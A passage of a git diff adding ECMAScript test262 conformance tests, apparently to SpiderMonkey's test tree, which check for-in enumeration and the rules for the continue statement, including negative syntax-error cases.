+if (!( (__str.indexOf("2")!==-1)&&(__str.indexOf("1")!==-1)&&(__str.indexOf("4")!==-1)&&(__str.indexOf("3")!==-1) )) {
+ $ERROR('#2: (__str.indexOf("2")!==-1)&&(__str.indexOf("1")!==-1)&&(__str.indexOf("4")!==-1)&&(__str.indexOf("3")!==-1)');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A4.1.js b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A4.1.js
new file mode 100644
index 000000000..a491b3f34
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A4.1.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production IterationStatement: "for (var VariableDeclarationNoIn in Expression) Statement"
+ *
+ * @path ch12/12.6/12.6.4/S12.6.4_A4.1.js
+ * @description Using Object as an Expression is appropriate. Eval is used
+ */
+
+__str="";
+
+__evaluated = eval("for(var ind in (hash={2:'b',1:'a',4:'d',3:'c'}))__str+=hash[ind]");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if ( !( (__evaluated.indexOf("a")!==-1)& (__evaluated.indexOf("b")!==-1)& (__evaluated.indexOf("c")!==-1)&(__evaluated.indexOf("d")!==-1) ) ) {
+ $ERROR('#1: (__evaluated.indexOf("a")!==-1)& (__evaluated.indexOf("b")!==-1)& (__evaluated.indexOf("c")!==-1)&(__evaluated.indexOf("d")!==-1)');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__str !== __evaluated) {
+ $ERROR('#2: __str === __evaluated. Actual: __str ==='+ __str );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A4.js b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A4.js
new file mode 100644
index 000000000..79f496b8c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A4.js
@@ -0,0 +1,34 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production IterationStatement: "for (var VariableDeclarationNoIn in Expression) Statement"
+ *
+ * @path ch12/12.6/12.6.4/S12.6.4_A4.js
+ * @description Using Object as an Expression is appropriate. Eval is used
+ */
+
+__str="";
+
+__evaluated = eval("for(ind in (hash={2:'b',1:'a',4:'d',3:'c'}))__str+=hash[ind]");
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if ( !( (__evaluated.indexOf("a")!==-1)& (__evaluated.indexOf("b")!==-1)& (__evaluated.indexOf("c")!==-1)&(__evaluated.indexOf("d")!==-1) ) ) {
+ $ERROR('#1: (__evaluated.indexOf("a")!==-1)& (__evaluated.indexOf("b")!==-1)& (__evaluated.indexOf("c")!==-1)&(__evaluated.indexOf("d")!==-1)');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__str !== __evaluated) {
+ $ERROR('#2: __str === __evaluated. Actual: __str ==='+ __str );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A5.1.js b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A5.1.js
new file mode 100644
index 000000000..37992e1dd
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A5.1.js
@@ -0,0 +1,42 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production IterationStatement: "for (var VariableDeclarationNoIn in Expression) Statement"
+ *
+ * @path ch12/12.6/12.6.4/S12.6.4_A5.1.js
+ * @description Using hierarchical Object as an Expression is appropriate. The depth is two
+ */
+
+__hash__map={a:{aa:1,ab:2,ac:3,ad:4},b:{ba:1,bb:2,bc:3,bd:4},c:{ca:1,cb:2,cc:3,cd:4},d:{da:1,db:2,dc:3,dd:4}};
+
+__arr = "";
+
+for(var __key in __hash__map){
+ for (var __ind in __hash__map[__key]){
+ __arr+=("" + __ind + __hash__map[__key][__ind]);
+ }
+}
+
+if(!(
+(__arr.indexOf("aa1")!==-1)&
+(__arr.indexOf("ab2")!==-1)&
+(__arr.indexOf("ac3")!==-1)&
+(__arr.indexOf("ad4")!==-1)&
+(__arr.indexOf("ba1")!==-1)&
+(__arr.indexOf("bb2")!==-1)&
+(__arr.indexOf("bc3")!==-1)&
+(__arr.indexOf("bd4")!==-1)&
+(__arr.indexOf("ca1")!==-1)&
+(__arr.indexOf("cb2")!==-1)&
+(__arr.indexOf("cc3")!==-1)&
+(__arr.indexOf("cd4")!==-1)&
+(__arr.indexOf("da1")!==-1)&
+(__arr.indexOf("db2")!==-1)&
+(__arr.indexOf("dc3")!==-1)&
+(__arr.indexOf("dd4")!==-1)
+)) $ERROR('#1: The nested for-in Statement applied to hierarchial object works properly as described in the Standard');
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A5.js b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A5.js
new file mode 100644
index 000000000..974659f10
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A5.js
@@ -0,0 +1,42 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production IterationStatement: "for (var VariableDeclarationNoIn in Expression) Statement"
+ *
+ * @path ch12/12.6/12.6.4/S12.6.4_A5.js
+ * @description Using hierarchical Object as an Expression is appropriate. The depth is two
+ */
+
+__hash__map={a:{aa:1,ab:2,ac:3,ad:4},b:{ba:1,bb:2,bc:3,bd:4},c:{ca:1,cb:2,cc:3,cd:4},d:{da:1,db:2,dc:3,dd:4}};
+
+__arr = "";
+
+for(__key in __hash__map){
+ for (__ind in __hash__map[__key]){
+ __arr+=("" + __ind + __hash__map[__key][__ind]);
+ }
+}
+
+if(!(
+(__arr.indexOf("aa1")!==-1)&
+(__arr.indexOf("ab2")!==-1)&
+(__arr.indexOf("ac3")!==-1)&
+(__arr.indexOf("ad4")!==-1)&
+(__arr.indexOf("ba1")!==-1)&
+(__arr.indexOf("bb2")!==-1)&
+(__arr.indexOf("bc3")!==-1)&
+(__arr.indexOf("bd4")!==-1)&
+(__arr.indexOf("ca1")!==-1)&
+(__arr.indexOf("cb2")!==-1)&
+(__arr.indexOf("cc3")!==-1)&
+(__arr.indexOf("cd4")!==-1)&
+(__arr.indexOf("da1")!==-1)&
+(__arr.indexOf("db2")!==-1)&
+(__arr.indexOf("dc3")!==-1)&
+(__arr.indexOf("dd4")!==-1)
+)) $ERROR('#1: The nested for-in Statement applied to hierarchial object works properly as described in the Standard');
+
+
+
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A6.1.js b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A6.1.js
new file mode 100644
index 000000000..78cc2e842
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A6.1.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production IterationStatement: "for (var VariableDeclarationNoIn in Expression) Statement"
+ *
+ * @path ch12/12.6/12.6.4/S12.6.4_A6.1.js
+ * @description Using Object with custom prototype as an Expression is appropriate. The prototype is "{feat:2,hint:"protohint"}"
+ */
+
+function FACTORY(){this.prop=1;this.hint="hinted"};
+
+FACTORY.prototype = {feat:2,hint:"protohint"};
+
+var __instance = new FACTORY;
+
+__accum="";
+
+for (var key in __instance){
+ __accum+=(key + __instance[key]);
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!((__accum.indexOf("prop1")!==-1)&&(__accum.indexOf("feat2")!==-1)&&(__accum.indexOf("hinthinted")!==-1))) {
+ $ERROR('#1: (__accum.indexOf("prop1")!==-1)&&(__accum.indexOf("feat2")!==-1)&&(__accum.indexOf("hinthinted")!==-1)');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__accum.indexOf("hintprotohint")!==-1) {
+ $ERROR('#2: __accum.indexOf("hintprotohint") === -1. Actual: __accum.indexOf("hintprotohint") ==='+ __accum.indexOf("hintprotohint") );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A6.js b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A6.js
new file mode 100644
index 000000000..5a1f8d9c2
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A6.js
@@ -0,0 +1,38 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The production IterationStatement: "for (var VariableDeclarationNoIn in Expression) Statement"
+ *
+ * @path ch12/12.6/12.6.4/S12.6.4_A6.js
+ * @description Using Object with custom prototype as an Expression is appropriate. The prototype is "{feat:2,hint:"protohint"}"
+ */
+
+function FACTORY(){this.prop=1;this.hint="hinted"};
+
+FACTORY.prototype = {feat:2,hint:"protohint"};
+
+var __instance = new FACTORY;
+
+__accum="";
+
+for (key in __instance){
+ __accum+=(key + __instance[key]);
+}
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!((__accum.indexOf("prop1")!==-1)&&(__accum.indexOf("feat2")!==-1)&&(__accum.indexOf("hinthinted")!==-1))) {
+ $ERROR('#1: (__accum.indexOf("prop1")!==-1)&&(__accum.indexOf("feat2")!==-1)&&(__accum.indexOf("hinthinted")!==-1)');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__accum.indexOf("hintprotohint")!==-1) {
+ $ERROR('#2: __accum.indexOf("hintprotohint") === -1. Actual: __accum.indexOf("hintprotohint") ==='+ __accum.indexOf("hintprotohint") );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A7_T1.js b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A7_T1.js
new file mode 100644
index 000000000..1105b7ff2
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A7_T1.js
@@ -0,0 +1,49 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Properties of the object being enumerated may be deleted during enumeration
+ *
+ * @path ch12/12.6/12.6.4/S12.6.4_A7_T1.js
+ * @description Checking "for (LeftHandSideExpression in Expression) Statement" case
+ */
+
+__obj={aa:1,ba:2,ca:3};
+
+__accum="";
+
+for (__key in __obj){
+
+ erasator_T_1000(__obj,"b");
+
+ __accum+=(__key+__obj[__key]);
+
+}
+
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!((__accum.indexOf("aa1")!==-1)&&(__accum.indexOf("ca3")!==-1))) {
+ $ERROR('#1: (__accum.indexOf("aa1")!==-1)&&(__accum.indexOf("ca3")!==-1)');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__accum.indexOf("ba2")!==-1) {
+ $ERROR('#2: __accum.indexOf("ba2") === -1. Actual: __accum.indexOf("ba2") ==='+ __accum.indexOf("ba2") );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+// erasator is the hash map terminator
+function erasator_T_1000(hash_map, charactr){
+ for (key in hash_map){
+ if (key.indexOf(charactr)===0) {
+ delete hash_map[key];
+ };
+ }
+}
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A7_T2.js b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A7_T2.js
new file mode 100644
index 000000000..48be196ab
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/S12.6.4_A7_T2.js
@@ -0,0 +1,49 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Properties of the object being enumerated may be deleted during enumeration
+ *
+ * @path ch12/12.6/12.6.4/S12.6.4_A7_T2.js
+ * @description Checking "for (var VariableDeclarationNoIn in Expression) Statement" case
+ */
+
+__obj={aa:1,ba:2,ca:3};
+
+__accum="";
+
+for (var __key in __obj){
+
+ erasator_T_1000(__obj,"b");
+
+ __accum+=(__key+__obj[__key]);
+
+}
+
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (!((__accum.indexOf("aa1")!==-1)&&(__accum.indexOf("ca3")!==-1))) {
+ $ERROR('#1: (__accum.indexOf("aa1")!==-1)&&(__accum.indexOf("ca3")!==-1)');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+if (__accum.indexOf("ba2")!==-1) {
+ $ERROR('#2: __accum.indexOf("ba2") === -1. Actual: __accum.indexOf("ba2") ==='+ __accum.indexOf("ba2") );
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+// erasator is the hash map terminator
+function erasator_T_1000(hash_map, charactr){
+ for (key in hash_map){
+ if (key.indexOf(charactr)===0) {
+ delete hash_map[key];
+ };
+ }
+}
+
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/browser.js b/js/src/tests/test262/ch12/12.6/12.6.4/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/browser.js
diff --git a/js/src/tests/test262/ch12/12.6/12.6.4/shell.js b/js/src/tests/test262/ch12/12.6/12.6.4/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/12.6.4/shell.js
diff --git a/js/src/tests/test262/ch12/12.6/browser.js b/js/src/tests/test262/ch12/12.6/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/browser.js
diff --git a/js/src/tests/test262/ch12/12.6/shell.js b/js/src/tests/test262/ch12/12.6/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.6/shell.js
diff --git a/js/src/tests/test262/ch12/12.7/12.7-1.js b/js/src/tests/test262/ch12/12.7/12.7-1.js
new file mode 100644
index 000000000..a19060a82
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.7/12.7-1.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch12/12.7/12.7-1.js
+ * @description The continue Statement - a continue statement without an identifier may have a LineTerminator before the semi-colon
+ */
+
+
+function testcase() {
+ var sum = 0;
+ for (var i = 1; i <= 10; i++) {
+ continue
+ ;
+ sum += i;
+ }
+ return sum === 0;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch12/12.7/S12.7_A1_T1.js b/js/src/tests/test262/ch12/12.7/S12.7_A1_T1.js
new file mode 100644
index 000000000..ec172729f
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.7/S12.7_A1_T1.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of continue without an IterationStatement leads to syntax error
+ *
+ * @path ch12/12.7/S12.7_A1_T1.js
+ * @description Checking if execution of single "continue" without any IterationStatement fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var x=1;
+continue;
+var y=2;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.7/S12.7_A1_T2.js b/js/src/tests/test262/ch12/12.7/S12.7_A1_T2.js
new file mode 100644
index 000000000..2aa90f8b1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.7/S12.7_A1_T2.js
@@ -0,0 +1,21 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of continue without an IterationStatement leads to syntax error
+ *
+ * @path ch12/12.7/S12.7_A1_T2.js
+ * @description Checking if single "continue" with Label but without any IterationStatement fails
+ * @negative
+ */
+
+LABEL : x=3.14;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+var x=1;
+continue LABEL;
+var y=2;
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.7/S12.7_A1_T3.js b/js/src/tests/test262/ch12/12.7/S12.7_A1_T3.js
new file mode 100644
index 000000000..4652dc865
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.7/S12.7_A1_T3.js
@@ -0,0 +1,23 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of continue without an IterationStatement leads to syntax error
+ *
+ * @path ch12/12.7/S12.7_A1_T3.js
+ * @description Checking if laballed "continue" with no IterationStatement, placed into a block, fails
+ * @negative
+ */
+
+LABEL : x=3.14;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+{
+ var x=1;
+ continue LABEL;
+ var y=2;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.7/S12.7_A1_T4.js b/js/src/tests/test262/ch12/12.7/S12.7_A1_T4.js
new file mode 100644
index 000000000..ac34f2642
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.7/S12.7_A1_T4.js
@@ -0,0 +1,22 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of continue without an IterationStatement leads to syntax error
+ *
+ * @path ch12/12.7/S12.7_A1_T4.js
+ * @description Checking if execution of "continue" with no IterationStatement, placed into a block, fails
+ * @negative
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+{
+ var x=1;
+ continue;
+ var y=2;
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
diff --git a/js/src/tests/test262/ch12/12.7/S12.7_A2.js b/js/src/tests/test262/ch12/12.7/S12.7_A2.js
new file mode 100644
index 000000000..3f76aa1a4
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.7/S12.7_A2.js
@@ -0,0 +1,64 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Since LineTerminator between "continue" and Identifier is not allowed, "continue" is evaluated without label
+ *
+ * @path ch12/12.7/S12.7_A2.js
+ * @description Checking by using eval, inserting LineTerminator between continue and Identifier
+ */
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+ eval("FOR1 : for(var i=1;i<2;i++){FOR1NESTED : for(var j=1;j<2;j++) { continue\u000AFOR1; } while(0);}");
+ if (j!==2) {
+ $ERROR('#1: Since LineTerminator(U-000A) between continue and Identifier not allowed continue evaluates without label');
+ }
+} catch(e){
+ $ERROR('#1.1: eval("FOR1 : for(var i=1;i<2;i++){FOR1NESTED : for(var j=1;j<2;j++) { continue\\u000AFOR1; } while(0);}") does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#2
+try{
+ eval("FOR2 : for(var i=1;i<2;i++){FOR2NESTED : for(var j=1;j<2;j++) { continue\u000DFOR2; } while(0);}");
+ if (j!==2) {
+ $ERROR('#2: Since LineTerminator(U-000D) between continue and Identifier not allowed continue evaluates without label');
+ }
+} catch(e){
+ $ERROR('#2.1: eval("FOR2 : for(var i=1;i<2;i++){FOR2NESTED : for(var j=1;j<2;j++) { continue\\u000DFOR2; } while(0);}") does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#3
+try{
+ eval("FOR3 : for(var i=1;i<2;i++){FOR3NESTED : for(var j=1;j<2;j++) { continue\u2028FOR3; } while(0);}");
+ if (j!==2) {
+ $ERROR('#3: Since LineTerminator(U-2028) between continue and Identifier not allowed continue evaluates without label');
+ }
+} catch(e){
+ $ERROR('#3.1: eval("FOR3 : for(var i=1;i<2;i++){FOR3NESTED : for(var j=1;j<2;j++) { continue\\u2028FOR3; } while(0);}") does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#4
+try{
+ eval("FOR4 : for(var i=1;i<2;i++){FOR4NESTED : for(var j=1;j<2;j++) { continue\u2029FOR4; } while(0);}");
+ if (j!==2) {
+ $ERROR('#4: Since LineTerminator(U-2029) between continue and Identifier not allowed continue evaluates without label');
+ }
+} catch(e){
+ $ERROR('#4.1: eval("FOR4 : for(var i=1;i<2;i++){FOR4NESTED : for(var j=1;j<2;j++) { continue\\u2029FOR4; } while(0);}"); does not lead to throwing exception');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
+
+
diff --git a/js/src/tests/test262/ch12/12.7/S12.7_A5_T1.js b/js/src/tests/test262/ch12/12.7/S12.7_A5_T1.js
new file mode 100644
index 000000000..14a8b5f7a
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.7/S12.7_A5_T1.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When "continue Identifier" is evaluated Identifier must be label in the label set of an enclosing (but not crossing function boundaries) IterationStatement
+ *
+ * @path ch12/12.7/S12.7_A5_T1.js
+ * @description Trying to continue another labeled loop
+ * @negative
+ */
+
+LABEL_OUT : var x=0, y=0;
+LABEL_DO_LOOP : do {
+ LABEL_IN : x++;
+ if(x===10)break;
+ continue LABEL_ANOTHER_LOOP;
+ LABEL_IN_2 : y++;
+ function IN_DO_FUNC(){}
+} while(0);
+
+LABEL_ANOTHER_LOOP : do {
+ ;
+} while(0);
+
+function OUT_FUNC(){}
+
diff --git a/js/src/tests/test262/ch12/12.7/S12.7_A5_T2.js b/js/src/tests/test262/ch12/12.7/S12.7_A5_T2.js
new file mode 100644
index 000000000..1d3f7e9c1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.7/S12.7_A5_T2.js
@@ -0,0 +1,26 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When "continue Identifier" is evaluated Identifier must be label in the label set of an enclosing (but not crossing function boundaries) IterationStatement
+ *
+ * @path ch12/12.7/S12.7_A5_T2.js
+ * @description Identifier is a function name
+ * @negative
+ */
+
+LABEL_OUT : var x=0, y=0;
+LABEL_DO_LOOP : do {
+ LABEL_IN : x++;
+ if(x===10)break;
+ continue IN_DO_FUNC;
+ LABEL_IN_2 : y++;
+ function IN_DO_FUNC(){}
+} while(0);
+
+LABEL_ANOTHER_LOOP : do {
+ ;
+} while(0);
+
+function OUT_FUNC(){};
+
diff --git a/js/src/tests/test262/ch12/12.7/S12.7_A5_T3.js b/js/src/tests/test262/ch12/12.7/S12.7_A5_T3.js
new file mode 100644
index 000000000..16babd629
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.7/S12.7_A5_T3.js
@@ -0,0 +1,27 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * When "continue Identifier" is evaluated Identifier must be label in the label set of an enclosing (but not crossing function boundaries) IterationStatement
+ *
+ * @path ch12/12.7/S12.7_A5_T3.js
+ * @description Identifier is within loop label
+ * @negative
+ */
+
+LABEL_OUT : var x=0, y=0;
+
+LABEL_DO_LOOP : do {
+ LABEL_IN : x++;
+ if(x===10)break;
+ continue LABEL_IN;
+ LABEL_IN_2 : y++;
+ function IN_DO_FUNC(){}
+} while(0);
+
+LABEL_ANOTHER_LOOP : do {
+ ;
+} while(0);
+
+function OUT_FUNC(){}
+
diff --git a/js/src/tests/test262/ch12/12.7/S12.7_A6.js b/js/src/tests/test262/ch12/12.7/S12.7_A6.js
new file mode 100644
index 000000000..11bb439aa
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.7/S12.7_A6.js
@@ -0,0 +1,19 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of "continue" within a function call that is within an IterationStatement yields SyntaxError
+ *
+ * @path ch12/12.7/S12.7_A6.js
+ * @description Using labaled "continue Identifier" within a function body
+ * @negative
+ */
+
+var x=0,y=0;
+
+LABEL1 : do {
+ x++;
+ (function(){continue LABEL1;})();
+ y++;
+} while(0);
+
diff --git a/js/src/tests/test262/ch12/12.7/S12.7_A7.js b/js/src/tests/test262/ch12/12.7/S12.7_A7.js
new file mode 100644
index 000000000..c43f701e1
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.7/S12.7_A7.js
@@ -0,0 +1,29 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of continue within eval statement that is within an IterationStatement yields SyntaxError
+ *
+ * @path ch12/12.7/S12.7_A7.js
+ * @description Using eval "eval("continue LABEL1")"
+ */
+
+var x=0,y=0;
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+try{
+ LABEL1 : do {
+ x++;
+ eval("continue LABEL1");
+ y++;
+ } while(0);
+ $ERROR('#1: eval("continue LABEL1") does not lead to throwing exception');
+} catch(e){
+ if(!(e instanceof SyntaxError)){
+ $ERROR("1.1: Appearing of continue within eval statement inside of IterationStatement yields SyntaxError");
+ }
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.7/S12.7_A8_T1.js b/js/src/tests/test262/ch12/12.7/S12.7_A8_T1.js
new file mode 100644
index 000000000..76f8538a8
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.7/S12.7_A8_T1.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of "continue" within a "try/catch" Block yields SyntaxError
+ *
+ * @path ch12/12.7/S12.7_A8_T1.js
+ * @description Checking if execution of "continue Identifier" within catch Block fails
+ * @negative
+ */
+
+var x=0,y=0;
+
+try{
+ LABEL1 : do {
+ x++;
+ throw "gonna leave it";
+ y++;
+ } while(0);
+ $ERROR('#1: throw "gonna leave it" lead to throwing exception');
+} catch(e){
+ continue LABEL2;
+ LABEL2 : do {
+ x++;
+ y++;
+ } while(0);
+};
+
diff --git a/js/src/tests/test262/ch12/12.7/S12.7_A8_T2.js b/js/src/tests/test262/ch12/12.7/S12.7_A8_T2.js
new file mode 100644
index 000000000..4d6f48e8b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.7/S12.7_A8_T2.js
@@ -0,0 +1,28 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Appearing of "continue" within a "try/catch" Block yields SyntaxError
+ *
+ * @path ch12/12.7/S12.7_A8_T2.js
+ * @description Checking if execution of "continue" within catch Block fails
+ * @negative
+ */
+
+var x=0,y=0;
+
+try{
+ LABEL1 : do {
+ x++;
+ throw "gonna leave it";
+ y++;
+ } while(0);
+ $ERROR('#1: throw "gonna leave it" lead to throwing exception');
+} catch(e){
+ continue;
+ LABEL2 : do {
+ x++;
+ y++;
+ } while(0);
+};
+
diff --git a/js/src/tests/test262/ch12/12.7/S12.7_A9_T1.js b/js/src/tests/test262/ch12/12.7/S12.7_A9_T1.js
new file mode 100644
index 000000000..e6ab1f542
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.7/S12.7_A9_T1.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Continue inside of try-catch nested in a loop is allowed
+ *
+ * @path ch12/12.7/S12.7_A9_T1.js
+ * @description Using "continue Identifier" within catch Block that is within a loop
+ */
+
+var x=0,y=0;
+
+(function(){
+FOR : for(;;){
+ try{
+ x++;
+ if(x===10)return;
+ throw 1;
+ } catch(e){
+ continue FOR;
+ }
+}
+})();
+
+//////////////////////////////////////////////////////////////////////////////
+//CHECK#1
+if (x!==10) {
+ $ERROR('#1: Continue inside of try-catch nested in loop is allowed');
+}
+//
+//////////////////////////////////////////////////////////////////////////////
+
diff --git a/js/src/tests/test262/ch12/12.7/S12.7_A9_T2.js b/js/src/tests/test262/ch12/12.7/S12.7_A9_T2.js
new file mode 100644
index 000000000..8763414eb
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.7/S12.7_A9_T2.js
@@ -0,0 +1,32 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Continue inside of try-catch nested in a loop is allowed
+ *
+ * @path ch12/12.7/S12.7_A9_T2.js
+ * @description Using "continue" within catch Block that is within a loop
+ */
+
+var x=0,y=0;
+
+(function(){
+FOR : for(;;){
+ try{
+ x++;
+ if(x===10)return;
